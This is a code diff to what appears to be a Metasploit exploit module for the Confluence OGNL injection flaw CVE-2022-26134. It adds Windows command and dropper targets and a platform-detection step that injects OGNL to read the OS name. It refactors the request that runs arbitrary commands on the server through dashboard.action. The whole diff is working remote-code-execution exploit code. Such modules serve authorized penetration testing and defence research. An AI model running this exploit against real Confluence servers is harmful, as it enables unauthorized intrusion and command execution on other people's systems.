@@ -27,15 +27,15 @@ def initialize(info = {})
2727 'Spencer McIntyre'
2828 ] ,
2929 'References' => [
30- [ 'CVE' , '2021-26084 ' ] ,
30+ [ 'CVE' , '2022-26134 ' ] ,
3131 [ 'URL' , 'https://jira.atlassian.com/browse/CONFSERVER-79000?src=confmacro' ] ,
3232 [ 'URL' , 'https://gist.githubusercontent.com/bturner-r7/1d0b62fac85235b94f1c95cc4c03fcf3/raw/478e53b6f68b5150eefd53e0956f23d53618d250/confluence-exploit.py' ] ,
3333 [ 'URL' , 'https://github.com/jbaines-r7/through_the_wire' ] ,
3434 [ 'URL' , 'https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis' ]
3535 ] ,
3636 'DisclosureDate' => '2022-06-02' ,
3737 'License' => MSF_LICENSE ,
38- 'Platform' => [ 'unix' , 'linux' ] ,
38+ 'Platform' => [ 'unix' , 'linux' , 'win' ] ,
3939 'Arch' => [ ARCH_CMD , ARCH_X86 , ARCH_X64 ] ,
4040 'Privileged' => false ,
4141 'Targets' => [
@@ -54,6 +54,22 @@ def initialize(info = {})
5454 'Arch' => [ ARCH_X86 , ARCH_X64 ] ,
5555 'Type' => :dropper
5656 }
57+ ] ,
58+ [
59+ 'Windows Command' ,
60+ {
61+ 'Platform' => 'win' ,
62+ 'Arch' => ARCH_CMD ,
63+ 'Type' => :cmd
64+ }
65+ ] ,
66+ [
67+ 'Windows Dropper' ,
68+ {
69+ 'Platform' => 'win' ,
70+ 'Arch' => [ ARCH_X86 , ARCH_X64 ] ,
71+ 'Type' => :dropper
72+ }
5773 ]
5874 ] ,
5975 'DefaultTarget' => 0 ,
@@ -74,22 +90,45 @@ def initialize(info = {})
7490 end
7591
7692 def check
77- version = get_confluence_version
78- return CheckCode ::Unknown unless version
93+ confluence_version = get_confluence_version
94+ return CheckCode ::Unknown unless confluence_version
7995
80- vprint_status ( "Detected Confluence version: #{ version } " )
81- header = "X-#{ Rex ::Text . rand_text_alphanumeric ( 10 ..15 ) } "
82- res = inject_ognl ( '' , header : header ) # empty command works for testing, the header will be set
83-
84- return CheckCode ::Unknown unless res
96+ vprint_status ( "Detected Confluence version: #{ confluence_version } " )
8597
86- unless res && res . headers . include? ( header )
98+ confluence_platform = get_confluence_platform
99+ unless confluence_platform
87100 return CheckCode ::Safe ( 'Failed to test OGNL injection.' )
88101 end
89102
103+ vprint_status ( "Detected target platform: #{ confluence_platform } " )
90104 CheckCode ::Vulnerable ( 'Successfully tested OGNL injection.' )
91105 end
92106
107+ def get_confluence_platform
108+ # this method gets the platform by exploiting CVE-2022-26134
109+ return @confluence_platform if @confluence_platform
110+
111+ header = "X-#{ Rex ::Text . rand_text_alphanumeric ( 10 ..15 ) } "
112+ ognl = <<~OGNL . gsub ( /^\s +/ , '' ) . tr ( "\n " , '' )
113+ ${
114+ Class.forName("com.opensymphony.webwork.ServletActionContext")
115+ .getMethod("getResponse",null)
116+ .invoke(null,null)
117+ .setHeader(
118+ "#{ header } ",
119+ Class.forName("javax.script.ScriptEngineManager")
120+ .newInstance()
121+ .getEngineByName("js")
122+ .eval("java.lang.System.getProperty('os.name')")
123+ )
124+ }
125+ OGNL
126+ res = inject_ognl ( ognl )
127+ return nil unless res
128+
129+ res . headers [ header ]
130+ end
131+
93132 def get_confluence_version
94133 return @confluence_version if @confluence_version
95134
@@ -107,6 +146,15 @@ def get_confluence_version
107146 end
108147
109148 def exploit
149+ confluence_platform = get_confluence_platform
150+ unless confluence_platform
151+ fail_with ( Failure ::NotVulnerable , 'The target is not vulnerable.' )
152+ end
153+
154+ unless confluence_platform . downcase . start_with? ( 'win' ) == ( target [ 'Platform' ] == 'win' )
155+ fail_with ( Failure ::NoTarget , "The target platform '#{ confluence_platform } ' is incompatible with '#{ target . name } '" )
156+ end
157+
110158 print_status ( "Executing #{ payload_instance . refname } (#{ target . name } )" )
111159
112160 case target [ 'Type' ]
@@ -119,26 +167,7 @@ def exploit
119167
120168 def execute_command ( cmd , _opts = { } )
121169 header = "X-#{ Rex ::Text . rand_text_alphanumeric ( 10 ..15 ) } "
122- res = inject_ognl ( cmd , header : header )
123-
124- unless res && res . headers . include? ( header )
125- fail_with ( Failure ::PayloadFailed , "Failed to execute command: #{ cmd } " )
126- end
127-
128- vprint_good ( "Successfully executed command: #{ cmd } " )
129- res . headers [ header ]
130- end
131-
132- def inject_ognl ( cmd , header :)
133- send_request_cgi (
134- 'method' => 'POST' ,
135- 'uri' => normalize_uri ( target_uri . path , Rex ::Text . uri_encode ( ognl_payload ( cmd , header : header ) ) , 'dashboard.action' ) ,
136- 'headers' => { header => cmd }
137- )
138- end
139-
140- def ognl_payload ( _cmd , header :)
141- <<~OGNL . gsub ( /^\s +/ , '' ) . tr ( "\n " , '' )
170+ ognl = <<~OGNL . gsub ( /^\s +/ , '' ) . tr ( "\n " , '' )
142171 ${
143172 Class.forName("com.opensymphony.webwork.ServletActionContext")
144173 .getMethod("getResponse",null)
@@ -154,5 +183,20 @@ def ognl_payload(_cmd, header:)
154183 )
155184 }
156185 OGNL
186+ res = inject_ognl ( ognl , 'headers' => { header => cmd } )
187+
188+ unless res && res . headers . include? ( header )
189+ fail_with ( Failure ::PayloadFailed , "Failed to execute command: #{ cmd } " )
190+ end
191+
192+ vprint_good ( "Successfully executed command: #{ cmd } " )
193+ res . headers [ header ]
194+ end
195+
196+ def inject_ognl ( ognl , opts = { } )
197+ send_request_cgi ( {
198+ 'method' => 'POST' ,
199+ 'uri' => normalize_uri ( target_uri . path , Rex ::Text . uri_encode ( ognl ) , 'dashboard.action' )
200+ } . merge ( opts ) )
157201 end
158202end
0 commit comments